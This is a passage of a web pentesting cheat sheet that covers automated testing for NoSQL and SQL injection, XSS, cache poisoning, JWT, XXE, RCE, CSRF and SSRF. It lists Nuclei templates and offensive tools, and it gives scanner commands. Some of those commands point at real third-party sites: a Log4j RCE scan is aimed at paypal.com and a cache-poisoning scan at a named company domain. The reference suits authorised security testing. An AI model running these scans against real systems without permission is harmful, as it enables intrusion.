[https://lab.wallarm.com/why-and-how-to-disable-introspection-query-for-graphql-apis/](https://lab.wallarm.com/why-and-how-to-disable-introspection-query-for-graphql-apis/)\
\# Why and how to disable introspection query for GraphQL APIs

[https://lab.wallarm.com/securing-and-attacking-graphql-part-1-overview/](https://lab.wallarm.com/securing-and-attacking-graphql-part-1-overview/)\
\# Securing GraphQL

[https://medium.com/@apkash8/graphql-vs-rest-api-model-common-security-test-cases-for-graphql-endpoints-5b723b1468b4](https://medium.com/@apkash8/graphql-vs-rest-api-model-common-security-test-cases-for-graphql-endpoints-5b723b1468b4)\
\# GraphQL vs REST API model, common security test cases for GraphQL endpoints.

[https://the-bilal-rizwan.medium.com/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696](https://the-bilal-rizwan.medium.com/graphql-common-vulnerabilities-how-to-exploit-them-464f9fdce696)\
\# GraphQL common vulnerabilities & how to exploit them.

[https://cybervelia.com/?p=736](https://cybervelia.com/?p=736)\
\# GraphQL exploitation – All you need to know.



* [GraphQLmap](https://github.com/swisskyrepo/GraphQLmap) - GraphQLmap is a scripting engine to interact with a graphql endpoint for pentesting purposes.
* [shapeshifter](https://github.com/szski/shapeshifter) - GraphQL security testing tool

\----------------------------------------------------------------------------------------

### &#x20;                                              14. Auto: NoQL  <a href="#user-content-table-of-contents" id="user-content-table-of-contents"></a>

NoSQL injection is a web application vulnerability that occurs when untrusted user input is not properly validated or sanitized before being used in a NoSQL database query. Here are some web application vulnerabilities that can arise from NoSQL injection:

1. Remote Code Execution (RCE): In certain scenarios, NoSQL injection may allow an attacker to execute arbitrary code on the server, potentially leading to complete system compromise.
2. XML/XXE Attacks: If an application processes XML content using data from user inputs, NoSQL injection can be used to trigger XML External Entity (XXE) attacks.
3. Cross-Site Scripting (XSS): NoSQL injection can potentially lead to XSS if the injected data is later rendered on a web page without proper sanitization.
4. Operating System Command Execution: In some cases, NoSQL injection may lead to the execution of arbitrary commands on the underlying operating system.

**NUCLEI:**

```
```

**AUTO TOOLS:**&#x20;



\---------------------------------------------------------------------------------------

### &#x20;                                              15. Auto: SQLi <a href="#user-content-table-of-contents" id="user-content-table-of-contents"></a>

SQL injection is a critical web application vulnerability that occurs when untrusted user input is directly incorporated into SQL queries without proper validation or sanitization. Here are some web application vulnerabilities that can arise from SQL injection:

1. Remote Code Execution (RCE): In certain scenarios, SQL injection may allow an attacker to execute arbitrary code on the server, potentially leading to complete system compromise.
2. XML/XXE Attacks: If an application processes XML content using data from user inputs, SQL injection can be used to trigger XML External Entity (XXE) attacks.
3. Cross-Site Scripting (XSS): SQL injection can potentially lead to XSS if the injected data is later rendered on a web page without proper sanitization.

**NUCLEI:**

```
http/vulnerabilities/74cms/74cms-weixin-sqli.yaml
http/vulnerabilities/dedecms/dedecms-membergroup-sqli.yaml
http/vulnerabilities/generic/error-based-sql-injection.yaml
http/vulnerabilities/joomla/joomla-department-sqli.yaml
http/vulnerabilities/joomla/joomla-marvikshop-sqli.yaml
http/vulnerabilities/other/74cms-sqli.yaml
http/vulnerabilities/other/aerocms-sqli.yaml
http/vulnerabilities/other/alumni-management-sqli.yaml
http/vulnerabilities/other/applezeed-sqli.yaml
http/vulnerabilities/other/aspcms-commentlist-sqli.yaml
http/vulnerabilities/other/chamilo-lms-sqli.yaml
http/vulnerabilities/other/cloud-oa-system-sqli.yaml
http/vulnerabilities/other/cmseasy-crossall-act-sqli.yaml
http/vulnerabilities/other/csz-cms-sqli.yaml
http/vulnerabilities/other/cvms-sqli.yaml
http/vulnerabilities/other/ecology-oa-file-sqli.yaml
http/vulnerabilities/other/ecshop-sqli.yaml
http/vulnerabilities/other/dotnetcms-sqli.yaml
http/vulnerabilities/other/duomicms-sql-injection.yaml
http/vulnerabilities/other/ems-sqli.yaml
http/vulnerabilities/other/erensoft-sqli.yaml
http/vulnerabilities/other/etouch-v2-sqli.yaml
http/vulnerabilities/other/finecms-sqli.yaml
http/vulnerabilities/other/groomify-sqli.yaml
http/vulnerabilities/other/hongfan-ioffice-sqli.yaml
http/vulnerabilities/other/huatian-oa8000-sqli.yaml
http/vulnerabilities/other/indonasia-toko-cms-sql.yaml
http/vulnerabilities/other/kevinlab-bems-sqli.yaml
http/vulnerabilities/other/loancms-sqli.yaml
http/vulnerabilities/other/phpok-sqli.yaml
http/vulnerabilities/other/phuket-cms-sqli.yaml
http/vulnerabilities/other/pmb-sqli.yaml
http/vulnerabilities/other/seacms-sqli.yaml
http/vulnerabilities/other/sitemap-sql-injection.yaml
http/vulnerabilities/other/stackposts-sqli.yaml
http/vulnerabilities/other/wuzhicms-sqli.yaml
http/vulnerabilities/other/xdcms-sqli.yaml

```

**AUTO TOOLS:**&#x20;

[https://github.com/sqlmapproject/sqlmap](https://github.com/sqlmapproject/sqlmap)\
\# Automatic SQL injection and database takeover tool, sqlmap is an open source penetration testing tool that automates the process of <mark style="color:yellow;">**detecting and exploiting SQL injection flaws**</mark>.

```
sqlmap --force-ssl -r RAW_REQUEST.txt --user-agent='Mozilla' --batch
sqlmap -vv -u 'https://www.example.com?id=1*' --user-agent='Mozilla' --level 5 --risk 3 --batch
```

[https://portswigger.net/burp/vulnerability-scanner](https://portswigger.net/burp/vulnerability-scanner)\
The majority of SQL injection vulnerabilities can be found quickly and reliably using <mark style="color:yellow;">**Burp Suite's web vulnerability scanner**</mark>

* [NoSQLMap](https://github.com/codingo/NoSQLMap) - Automated NoSQL database enumeration and web application exploitation tool.
* [SQLiScanner](https://github.com/0xbug/SQLiScanner) - Automatic SQL injection with Charles and sqlmap api
* [SleuthQL](https://github.com/RhinoSecurityLabs/SleuthQL) - Python3 Burp History parsing tool to discover potential SQL injection points. To be used in tandem with SQLmap.
* [mssqlproxy](https://github.com/blackarrowsec/mssqlproxy) - mssqlproxy is a toolkit aimed to perform lateral movement in restricted environments through a compromised Microsoft SQL Server via socket reuse
* [sqli-hunter](https://github.com/zt2/sqli-hunter) - SQLi-Hunter is a simple HTTP / HTTPS proxy server and a SQLMAP API wrapper that makes digging SQLi easy.
* [waybackSqliScanner](https://github.com/ghostlulzhacks/waybackSqliScanner) - Gather urls from wayback machine then test each GET parameter for sql injection.
* [ESC](https://github.com/NetSPI/ESC) - Evil SQL Client (ESC) is an interactive .NET SQL console client with enhanced SQL Server discovery, access, and data exfiltration features.
* [mssqli-duet](https://github.com/Keramas/mssqli-duet) - SQL injection script for MSSQL that extracts domain users from an Active Directory environment based on RID bruteforcing
* [burp-to-sqlmap](https://github.com/Miladkhoshdel/burp-to-sqlmap) - Performing SQLInjection test on Burp Suite Bulk Requests using SQLMap
* [BurpSQLTruncSanner](https://github.com/InitRoot/BurpSQLTruncSanner) - Messy BurpSuite plugin for SQL Truncation vulnerabilities.
* [andor](https://github.com/sadicann/andor) - Blind SQL Injection Tool with Golang
* [Blinder](https://github.com/mhaskar/Blinder) - A python library to automate time-based blind SQL injection
* [sqliv](https://github.com/the-robot/sqliv) - massive SQL injection vulnerability scanner
* [nosqli](https://github.com/Charlie-belmer/nosqli) - NoSql Injection CLI tool, for finding vulnerable websites using MongoDB.

\---------------------------------------------------------------------------------------

### &#x20;                                                16. Auto: XSS <a href="#user-content-table-of-contents" id="user-content-table-of-contents"></a>

{% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Web%20Cache%20Deception/README.md" %}

{% embed url="https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md" %}

1. **CSP BYPASS: Content Security Policy (CSP)** is a security feature that helps protect web applications from various types of attacks, including Cross-Site Scripting (XSS) and data injection attacks. However, misconfigurations or improper implementation of CSP can introduce vulnerabilities.
2. **Prototype Pollution:** Attackers can use Prototype Pollution to introduce XSS vulnerabilities by manipulating JavaScript objects that are later used in the rendering of web pages.
3. **Dom Clobbering:** DOM Clobbering is a web application vulnerability that occurs when an attacker manipulates the Document Object Model (DOM) by injecting or overwriting properties or functions of existing DOM elements. This can lead to various security risks and consequences.
4. **Web messages:** Web messages, also known as Cross-Origin Communication channels, enable communication between different windows, frames, or iframes within a web application. While they serve a useful purpose, they can introduce specific vulnerabilities.
5. **Web Cache Poisoning:**

**METHOD:**

* JS-Scan: Endpoint discovery through JS files
* LinkFinder: Endpoint discovery through JS files
* XSS Hunter: Blind XSS discovery
* Parameth: Bruteforce GET and POST parameters

**NUCLEI:**

```
file/xss/dom-xss.yaml
```

**AUTO TOOLS:**&#x20;

[**https://portswigger.net/burp/vulnerability-scanner**](https://portswigger.net/burp/vulnerability-scanner)\
<mark style="color:yellow;">**Burp Suite Professional**</mark>**:** is a powerful commercial web vulnerability scanner. It has specialized modules for detecting Reflected XSS.\
<mark style="color:yellow;">**Burp Collabortor**</mark>**:** It can analyze web applications, detect potential Stored XSS issues, and provide detailed reports.

[https://github.com/hahwul/dalfox](https://github.com/hahwul/dalfox)\
\# **DalFox** is a powerful open-source tool that focuses on automation, making it ideal for quickly <mark style="color:yellow;">**scanning for XSS**</mark> flaws and analyzing parameters. Its advanced testing engine and niche features are designed to streamline the process of detecting and verifying vulnerabilities.

```
dalfox url http://testphp.vulnweb.com/listproducts.php\?cat\=123\&artist\=123\&asdf\=ff -b https://your-callback-url
```

[https://github.com/KathanP19/Gxss](https://github.com/KathanP19/Gxss)\
\# A Light Weight Tool for <mark style="color:yellow;">**checking reflecting Parameters in a URL**</mark>. Inspired by kxss by @tomnomnom.

```
echo "https://www.example.com/some.php?first=hello&last=world" | Gxss -c 100
```

* [XSStrike](https://github.com/s0md3v/XSStrike) - Most advanced XSS scanner.
* [xssor2](https://github.com/evilcos/xssor2) - XSS'OR - Hack with JavaScript.
* [xsscrapy](https://github.com/DanMcInerney/xsscrapy) - XSS spider - 66/66 wavsep XSS detected
* [sleepy-puppy](https://github.com/Netflix-Skunkworks/sleepy-puppy) - Sleepy Puppy XSS Payload Management Framework
* [ezXSS](https://github.com/ssl/ezXSS) - ezXSS is an easy way for penetration testers and bug bounty hunters to test (blind) Cross Site Scripting.
* [xsshunter](https://github.com/mandatoryprogrammer/xsshunter) - The XSS Hunter service - a portable version of XSSHunter.com
* [dalfox](https://github.com/hahwul/dalfox) - DalFox(Finder Of XSS) / Parameter Analysis and XSS Scanning tool based on golang
* [xsser](https://github.com/epsylon/xsser) - Cross Site "Scripter" (aka XSSer) is an automatic -framework- to detect, exploit and report XSS vulnerabilities in web-based applications.
* [XSpear](https://github.com/hahwul/XSpear) - Powerfull XSS Scanning and Parameter analysis tool\&gem
* [weaponised-XSS-payloads](https://github.com/hakluke/weaponised-XSS-payloads) - XSS payloads designed to turn alert(1) into P1
* [tracy](https://github.com/nccgroup/tracy) - A tool designed to assist with finding all sinks and sources of a web application and display these results in a digestible manner.
* [ground-control](https://github.com/jobertabma/ground-control) - A collection of scripts that run on my web server. Mainly for debugging SSRF, blind XSS, and XXE vulnerabilities.
* [xssValidator](https://github.com/nVisium/xssValidator) - This is a burp intruder extender that is designed for automation and validation of XSS vulnerabilities.
* [JSShell](https://github.com/Den1al/JSShell) - An interactive multi-user web JS shell
* [bXSS](https://github.com/LewisArdern/bXSS) - bXSS is a utility which can be used by bug hunters and organizations to identify Blind Cross-Site Scripting.
* [docem](https://github.com/whitel1st/docem) - Uility to embed XXE and XSS payloads in docx,odt,pptx,etc (OXML\_XEE on steroids)
* [XSS-Radar](https://github.com/bugbountyforum/XSS-Radar) - XSS Radar is a tool that detects parameters and fuzzes them for cross-site scripting vulnerabilities.
* [BruteXSS](https://github.com/rajeshmajumdar/BruteXSS) - BruteXSS is a tool written in python simply to find XSS vulnerabilities in web application.
* [findom-xss](https://github.com/dwisiswant0/findom-xss) - A fast DOM based XSS vulnerability scanner with simplicity.
* [domdig](https://github.com/fcavallarin/domdig) - DOM XSS scanner for Single Page Applications
* [femida](https://github.com/wish-i-was/femida) - Automated blind-xss search for Burp Suite
* [B-XSSRF](https://github.com/SpiderMate/B-XSSRF) - Toolkit to detect and keep track on Blind XSS, XXE & SSRF
* [domxssscanner](https://github.com/yaph/domxssscanner) - DOMXSS Scanner is an online tool to scan source code for DOM based XSS vulnerabilities
* [xsshunter\_client](https://github.com/mandatoryprogrammer/xsshunter_client) - Correlated injection proxy tool for XSS Hunter
* [extended-xss-search](https://github.com/Damian89/extended-xss-search) - A better version of my xssfinder tool - scans for different types of xss on a list of urls.
* [xssmap](https://github.com/Jewel591/xssmap) - XSSMap 是一款基于 Python3 开发用于检测 XSS 漏洞的工具
* [XSSCon](https://github.com/menkrep1337/XSSCon) - XSSCon: Simple XSS Scanner tool
* [BitBlinder](https://github.com/BitTheByte/BitBlinder) - BurpSuite extension to inject custom cross-site scripting payloads on every form/request submitted to detect blind XSS vulnerabilities
* [XSSOauthPersistence](https://github.com/dxa4481/XSSOauthPersistence) - Maintaining account persistence via XSS and Oauth
* [shadow-workers](https://github.com/shadow-workers/shadow-workers) - Shadow Workers is a free and open source C2 and proxy designed for penetration testers to help in the exploitation of XSS and malicious Service Workers (SW)
* [rexsser](https://github.com/profmoriarity/rexsser) - This is a burp plugin that extracts keywords from response using regexes and test for reflected XSS on the target scope.
* [xss-flare](https://github.com/EgeBalci/xss-flare) - XSS hunter on cloudflare serverless workers.
* [Xss-Sql-Fuzz](https://github.com/jiangsir404/Xss-Sql-Fuzz) - burpsuite 插件对GP所有参数(过滤特殊参数)一键自动添加xss sql payload 进行fuzz
* [vaya-ciego-nen](https://github.com/hipotermia/vaya-ciego-nen) - Detect, manage and exploit Blind Cross-site scripting (XSS) vulnerabilities.
* [dom-based-xss-finder](https://github.com/AsaiKen/dom-based-xss-finder) - Chrome extension that finds DOM based XSS vulnerabilities
* [XSSTerminal](https://github.com/machinexa2/XSSTerminal) - Develop your own XSS Payload using interactive typing
* [xss2png](https://github.com/vavkamil/xss2png) - PNG IDAT chunks XSS payload generator
* [XSSwagger](https://github.com/vavkamil/XSSwagger) - A simple Swagger-ui scanner that can detect old versions vulnerable to various XSS attacks

\---------------------------------------------------------------------------------------

### &#x20;                                                  17. Auto: CSP <a href="#user-content-table-of-contents" id="user-content-table-of-contents"></a>

**NUCLEI: Automated**&#x20;

```
Content Security Policy
```

**AUTO TOOLS: Go, Python**&#x20;

[https://csp-evaluator.withgoogle.com/](https://csp-evaluator.withgoogle.com/)\
\# <mark style="color:yellow;">**CSP Evaluator**</mark> allows developers and security experts to check if a Content Security Policy (CSP) serves as a strong mitigation against cross-site scripting attacks.

\---------------------------------------------------------------------------------------

### &#x20;                                 18. Auto: Web Cache Poisoning <a href="#user-content-table-of-contents" id="user-content-table-of-contents"></a>

Web cache poisoning occurs when an attacker manipulates a web application's cache to store malicious or unwanted content.

1. Cross-Site Scripting (XSS)
2. Credential Theft: If login pages or forms are cached, an attacker may steal credentials entered by users.
3. Malicious Redirects: The attacker can force legitimate users to visit malicious websites by poisoning the cache with redirect directives.

**NUCLEI:**

[https://templates.nuclei.sh/public/cache-poisoning](https://templates.nuclei.sh/public/cache-poisoning)\
[https://blog.projectdiscovery.io/ultimate-nuclei-guide](https://blog.projectdiscovery.io/ultimate-nuclei-guide/)\
[https://docs.nuclei.sh/getting-started/overview](https://docs.nuclei.sh/getting-started/overview)\
\# Nuclei is a <mark style="color:yellow;">**fast scanner**</mark> used to scan across the modern applications, infrastructure, cloud environments, and networks to help you find and remediate vulnerabilities.

```
http/vulnerabilities/generic/cache-poisoning-xss.yaml
http/vulnerabilities/generic/cache-poisoning.yaml
```

**AUTO TOOLS:**&#x20;

[https://www.giftofspeed.com/cache-checker](https://www.giftofspeed.com/cache-checker)\
\# This tool lists which <mark style="color:yellow;">**web files on a website are cached**</mark> and which are not. Furthermore it checks by which method these files are cached and what the expiry time of the cached files is.

[https://github.com/Hackmanit/Web-Cache-Vulnerability-Scanner](https://github.com/Hackmanit/Web-Cache-Vulnerability-Scanner)\
\# <mark style="color:yellow;">**Web Cache Vulnerability Scanner (WCVS)**</mark> is a fast and versatile CLI scanner for web cache poisoning developed by Hackmanit.

```
go install -v github.com/Hackmanit/Web-Cache-Vulnerability-Scanner@latest
cd ??
wcvs -u https://www.ampol.com.au
wcvs -u https://example.com -hw "file:/home/user/Documents/wordlist-header.txt" -pw "file:/home/user/Documents/wordlist-parameter.txt"
```

\----------------------------------------------------------------------------------------

### &#x20;                                   19.  Auto: DOM Clobbering <a href="#user-content-table-of-contents" id="user-content-table-of-contents"></a>

**NUCLEI: Automated**&#x20;

```
```

**AUTO TOOLS: Go, Python**&#x20;

<mark style="color:yellow;">**Browser Extensions: Burp Suite DOM Invader:**</mark> \
[https://portswigger.net/burp/documentation/desktop/tools/dom-invader](https://portswigger.net/burp/documentation/desktop/tools/dom-invader)

* DOMinator Pro: https://dominatorhouse.com/
* DOM XSS Scanner: https://github.com/wisec/domxssscanner
* JSDOM: https://github.com/jsdom/jsdom

\----------------------------------------------------------------------------------------

### &#x20;                                   20.  Auto: Prototype pollution <a href="#user-content-table-of-contents" id="user-content-table-of-contents"></a>

**NUCLEI: Automated**&#x20;

```
```

**AUTO TOOLS: Go, Python**&#x20;



\----------------------------------------------------------------------------------------

### &#x20;                                         21. Auto: WebSockets <a href="#user-content-table-of-contents" id="user-content-table-of-contents"></a>

{% embed url="https://portswigger.net/web-security/all-labs#http-request-smuggling" %}

{% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Web%20Sockets" %}

**ENTRY POINT:**

* Live Chat messages: send a new message containing a < character.

**NUCLEI: Automated**&#x20;

```
```

**AUTO TOOLS: Go, Python**&#x20;



\----------------------------------------------------------------------------------------

### &#x20;                                                22. Auto: JWT <a href="#user-content-table-of-contents" id="user-content-table-of-contents"></a>

**NUCLEI: Automated**&#x20;

```
```

**AUTO TOOLS: Go, Python**&#x20;

[https://github.com/ticarpi/jwt\_tool](https://github.com/ticarpi/jwt_tool)\
\# A toolkit for testing, tweaking and cracking JSON Web Tokens. jwt\_tool.py is a toolkit for validating, forging, scanning and tampering JWTs (JSON Web Tokens).

```
python3 jwt_tool.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJsb2dpbiI6InRpY2FycGkifQ.aqNCvShlNT9jBFTPBpHDbt2gBB1MyHiisSDdp8SQvgw
```

* [c-jwt-cracker](https://github.com/brendan-rius/c-jwt-cracker) - JWT brute force cracker written in C
* [jwt-heartbreaker](https://github.com/wallarm/jwt-heartbreaker) - The Burp extension to check JWT (JSON Web Tokens) for using keys from known from public sources
* [jwtear](https://github.com/KINGSABRI/jwtear) - Modular command-line tool to parse, create and manipulate JWT tokens for hackers
* [jwt-key-id-injector](https://github.com/dariusztytko/jwt-key-id-injector) - Simple python script to check against hypothetical JWT vulnerability.
* [jwt-hack](https://github.com/hahwul/jwt-hack) - jwt-hack is tool for hacking / security testing to JWT.
* [jwt-cracker](https://github.com/lmammino/jwt-cracker) - Simple HS256 JWT token brute force cracker

\----------------------------------------------------------------------------------------

### &#x20;                                               23. Auto: XXE <a href="#user-content-table-of-contents" id="user-content-table-of-contents"></a>

XML External Entity (XXE) and JSON External Entity (JXE) attacks are types of vulnerabilities that can affect web applications that process XML or JSON input from untrusted sources. Here are some web application vulnerabilities that can arise from XXE/JXE attacks:

1. Remote Code Execution (RCE): In certain scenarios, successful XXE/JXE attacks can lead to remote code execution on the server, potentially allowing an attacker to take control.
2. Server-Side Request Forgery (SSRF): XXE/JXE can be used to initiate SSRF attacks, making the server send HTTP requests to internal resources or external targets, potentially exposing sensitive data or services.
3. Cross-Site Scripting (XSS): XXE/JXE attacks can be combined with other client-side vulnerabilities, such as Cross-Site Scripting (XSS), to escalate the impact of an attack.
4. Data Exfiltration: Attackers can use XXE/JXE to exfiltrate data by reading files or making network requests from the server, potentially causing data leakage.
5. Information Disclosure: XXE/JXE attacks can reveal sensitive information stored in XML or JSON files, including configuration files, credentials, and internal network details.

**NUCLEI:**

```
http/vulnerabilities/generic/generic-blind-xxe.yaml
http/vulnerabilities/jamf/jamf-blind-xxe.yaml
```

**AUTO TOOLS:**&#x20;

* [ground-control](https://github.com/jobertabma/ground-control) - A collection of scripts that run on my web server. Mainly for debugging SSRF, blind XSS, and XXE vulnerabilities.
* [dtd-finder](https://github.com/GoSecure/dtd-finder) - List DTDs and generate XXE payloads using those local DTDs.
* [docem](https://github.com/whitel1st/docem) - Uility to embed XXE and XSS payloads in docx,odt,pptx,etc (OXML\_XEE on steroids)
* [xxeserv](https://github.com/staaldraad/xxeserv) - A mini webserver with FTP support for XXE payloads
* [xxexploiter](https://github.com/luisfontes19/xxexploiter) - Tool to help exploit XXE vulnerabilities
* [B-XSSRF](https://github.com/SpiderMate/B-XSSRF) - Toolkit to detect and keep track on Blind XSS, XXE & SSRF
* [XXEinjector](https://github.com/enjoiz/XXEinjector) - Tool for automatic exploitation of XXE vulnerability using direct and different out of band methods.
* [oxml\_xxe](https://github.com/BuffaloWill/oxml_xxe) - A tool for embedding XXE/XML exploits into different filetypes
* [metahttp](https://github.com/vp777/metahttp) - A bash script that automates the scanning of a target network for HTTP resources through XXE



\----------------------------------------------------------------------------------------

### &#x20;                                               24. Auto: RCE <a href="#user-content-table-of-contents" id="user-content-table-of-contents"></a>

Remote Code Execution (RCE) is a severe web application vulnerability that occurs when an attacker can execute arbitrary code on a web server or application. RCE vulnerabilities can lead to various security risks and consequences, including:

1. Full System Compromise: RCE allows attackers to execute code on the server, potentially leading to full control of the system, including the ability to install malware, exfiltrate data, or manipulate configurations.
2. Data / Credential Theft: Attackers may use RCE to steal sensitive data, including user credentials, payment information, and other confidential information stored on the server.
3. Data Manipulation: RCE can enable attackers to modify, insert, or delete data within databases, potentially leading to data corruption or loss.
4. Privilege Escalation: Attackers can leverage RCE to elevate their privileges, potentially gaining administrative access or other privileges within the application.
5. Botnets and Exploitation: Attackers can use RCE to deploy botnets or exploit vulnerabilities in other systems.
6. Malware Deployment: RCE can be used to plant malware on the server, potentially spreading to other systems and infecting users.
7. Server Compromise: Successful RCE may result in the complete compromise of the web server, with attackers gaining control over the operating system and all hosted applications.

**NUCLEI:**

[**https://github.com/projectdiscovery/nuclei-templates/pull/8419/files**](https://github.com/projectdiscovery/nuclei-templates/pull/8419/files)

```
nuclei -t http/vulnerabilities/apache/apache-ofbiz-log4j-rce.yaml -t http/vulnerabilities/apache/apache-solr-log4j-rce.yaml -t http/vulnerabilities/apache/log4j/jamf-pro-log4j-rce.yaml -t http/vulnerabilities/cisco/cisco-cloudcenter-suite-log4j-rce.yaml -t http/vulnerabilities/cisco/cisco-unified-communications-log4j.yaml -t http/vulnerabilities/cisco/cisco-vmanage-log4j.yaml -t http/vulnerabilities/code42/code42-log4j-rce.yaml -t http/vulnerabilities/jamf/jamf-log4j-jndi-rce.yaml -t http/vulnerabilities/mobileiron/mobileiron-log4j-jndi-rce.yaml -t http/vulnerabilities/other/apache-druid-log4j.yaml -t http/vulnerabilities/other/elasticsearch5-log4j-rce.yaml -t http/vulnerabilities/other/goanywhere-mft-log4j-rce.yaml -t http/vulnerabilities/other/graylog-log4j.yaml -t http/vulnerabilities/other/metabase-log4j.yaml -t http/vulnerabilities/other/opennms-log4j-jndi-rce.yaml -t http/vulnerabilities/other/rundeck-log4j.yaml -t http/vulnerabilities/other/seeyon-oa-log4j.yaml -t http/vulnerabilities/other/unifi-network-log4j-rce.yaml -u https://paypal.com
```

```
http/vulnerabilities/apache/apache-druid-kafka-connect-rce.yaml
http/vulnerabilities/apache/apache-flink-unauth-rce.yaml
http/vulnerabilities/apache/apache-solr-rce.yaml
http/vulnerabilities/avaya/avaya-aura-rce.yaml
http/vulnerabilities/chanjet-tplus-rce.yaml
http/vulnerabilities/cisco/cucm-username-enumeration.yaml
http/vulnerabilities/dbgate-unauth-rce.yaml
http/vulnerabilities/dedecms/dedecms-rce.yaml
http/vulnerabilities/fastjson/fastjson-1-2-24-rce.yaml
http/vulnerabilities/fastjson/fastjson-1-2-41-rce.yaml
http/vulnerabilities/fastjson/fastjson-1-2-42-rce.yaml
http/vulnerabilities/fastjson/fastjson-1-2-43-rce.yaml
http/vulnerabilities/fastjson/fastjson-1-2-47-rce.yaml
http/vulnerabilities/fastjson/fastjson-1-2-62-rce.yaml
http/vulnerabilities/fastjson/fastjson-1-2-67-rce.yaml
http/vulnerabilities/fastjson/fastjson-1-2-68-rce.yaml
http/vulnerabilities/gitea/gitea-rce.yaml
http/vulnerabilities/gitlab/gitlab-rce.yaml
http/vulnerabilities/hikvision/hikvision-fastjson-rce.yaml
http/vulnerabilities/hikvision/hikvision-ivms-file-upload-rce.yaml
http/vulnerabilities/jupyter-notebook-rce.yaml
http/vulnerabilities/landray/landray-oa-sysSearchMain-editParam-rce.yaml
http/vulnerabilities/landray/landray-oa-treexml-rce.yaml
http/vulnerabilities/metersphere/metersphere-plugin-rce.yaml
http/vulnerabilities/netmizer/netmizer-cmd-rce.yaml
http/vulnerabilities/opencpu/opencpu-rce.yaml
http/vulnerabilities/oscommerce/oscommerce-rce.yaml
http/vulnerabilities/other/caimore-gateway-rce.yaml
http/vulnerabilities/other/core-chuangtian-cloud-rce.yaml
http/vulnerabilities/other/ecsimagingpacs-rce.yaml
http/vulnerabilities/other/flir-ax8-rce.yaml
http/vulnerabilities/other/h3c-imc-rce.yaml
http/vulnerabilities/other/hanta-rce.yaml
http/vulnerabilities/other/hashicorp-consul-rce.yaml
http/vulnerabilities/other/hiboss-rce.yaml
http/vulnerabilities/other/hikvision-isecure-center-rce.yaml
http/vulnerabilities/other/hongfan-ioffice-rce.yaml
http/vulnerabilities/other/icewarp-webclient-rce.yaml
http/vulnerabilities/other/inspur-clusterengine-rce.yaml
http/vulnerabilities/other/kingdee-erp-rce.yaml
http/vulnerabilities/other/landray-oa-datajson-rce.yaml
http/vulnerabilities/other/landray-oa-erp-data-rce.yaml
http/vulnerabilities/other/lotuscms-rce.yaml
http/vulnerabilities/other/maltrail-rce.yaml
http/vulnerabilities/other/mcafee-epo-rce.yaml
http/vulnerabilities/other/mirai-unknown-rce.yaml
http/vulnerabilities/other/natshell-rce.yaml
http/vulnerabilities/other/nginxwebui-runcmd-rce.yaml
http/vulnerabilities/other/nuuo-nvrmini2-rce.yaml
http/vulnerabilities/other/opensns-rce.yaml
http/vulnerabilities/other/optilink-ont1gew-gpon-rce.yaml
http/vulnerabilities/other/panabit-ixcache-rce.yaml
http/vulnerabilities/other/pdf-signer-ssti-to-rce.yaml
http/vulnerabilities/other/php-zerodium-backdoor-rce.yaml
http/vulnerabilities/other/powercreator-cms-rce.yaml
http/vulnerabilities/other/sangfor-cphp-rce.yaml
http/vulnerabilities/other/sar2html-rce.yaml
http/vulnerabilities/other/seacms-rce.yaml
http/vulnerabilities/other/qi-anxin-netkang-next-generation-firewall-rce.yaml
http/vulnerabilities/other/seowon-router-rce.yaml
http/vulnerabilities/other/sponip-network-system-ping-rce.yaml
http/vulnerabilities/other/tamronos-rce.yaml

http/vulnerabilities/apache/apache-ofbiz-log4j-rce.yaml
http/vulnerabilities/apache/apache-solr-log4j-rce.yaml
http/vulnerabilities/apache/log4j/jamf-pro-log4j-rce.yaml
http/vulnerabilities/cisco/cisco-cloudcenter-suite-log4j-rce.yaml
http/vulnerabilities/cisco/cisco-unified-communications-log4j.yaml
http/vulnerabilities/cisco/cisco-vmanage-log4j.yaml
http/vulnerabilities/code42/code42-log4j-rce.yaml
http/vulnerabilities/jamf/jamf-log4j-jndi-rce.yaml
http/vulnerabilities/mobileiron/mobileiron-log4j-jndi-rce.yaml
http/vulnerabilities/other/apache-druid-log4j.yaml
http/vulnerabilities/other/elasticsearch5-log4j-rce.yaml
http/vulnerabilities/other/goanywhere-mft-log4j-rce.yaml
http/vulnerabilities/other/graylog-log4j.yaml
http/vulnerabilities/other/metabase-log4j.yaml
http/vulnerabilities/other/opennms-log4j-jndi-rce.yaml
http/vulnerabilities/other/rundeck-log4j.yaml
http/vulnerabilities/other/seeyon-oa-log4j.yaml
http/vulnerabilities/other/unifi-network-log4j-rce.yaml
```

**AUTO TOOLS:**&#x20;



\----------------------------------------------------------------------------------------

### &#x20;                                               25. Auto: CRSF <a href="#user-content-table-of-contents" id="user-content-table-of-contents"></a>

**NUCLEI:**

```
```

**AUTO TOOLS:**&#x20;

[**https://github.com/0xInfection/XSRFProbe**](https://github.com/0xInfection/XSRFProbe)\
**#** The Prime Cross Site Request Forgery (CSRF) Audit and Exploitation Toolkit.



\----------------------------------------------------------------------------------------

### &#x20;                                                26. Auto: SSRF <a href="#user-content-table-of-contents" id="user-content-table-of-contents"></a>

**NUCLEI:**

```
http/vulnerabilities/amazon/amazon-ec2-ssrf.yaml
http/vulnerabilities/avtech/avtech-dvr-ssrf.yaml
http/vulnerabilities/confluence/confluence-ssrf-sharelinks.yaml
http/vulnerabilities/generic/xmlrpc-pingback-ssrf.yaml
http/vulnerabilities/kkfileview-ssrf.yaml
http/vulnerabilities/linkerd/linkerd-ssrf.yaml
http/vulnerabilities/other/brightsign-dsdws-ssrf.yaml
http/vulnerabilities/other/digital-ocean-ssrf.yaml
http/vulnerabilities/other/microstrategy-ssrf.yaml
http/vulnerabilities/other/skype-blind-ssrf.yaml
```

**AUTO TOOLS:**&#x20;

* [SSRFmap](https://github.com/swisskyrepo/SSRFmap) - Automatic SSRF fuzzer and exploitation tool
* [Gopherus](https://github.com/tarunkant/Gopherus) - This tool generates gopher link for exploiting SSRF and gaining RCE in various servers
* [ground-control](https://github.com/jobertabma/ground-control) - A collection of scripts that run on my web server. Mainly for debugging SSRF, blind XSS, and XXE vulnerabilities.
* [SSRFire](https://github.com/micha3lb3n/SSRFire) - An automated SSRF finder. Just give the domain name and your server and chill! ;) Also has options to find XSS and open redirects
* [httprebind](https://github.com/daeken/httprebind) - Automatic tool for DNS rebinding-based SSRF attacks
